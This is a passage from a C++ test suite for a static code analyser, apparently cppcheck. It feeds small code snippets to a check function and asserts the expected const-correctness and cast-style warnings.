y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 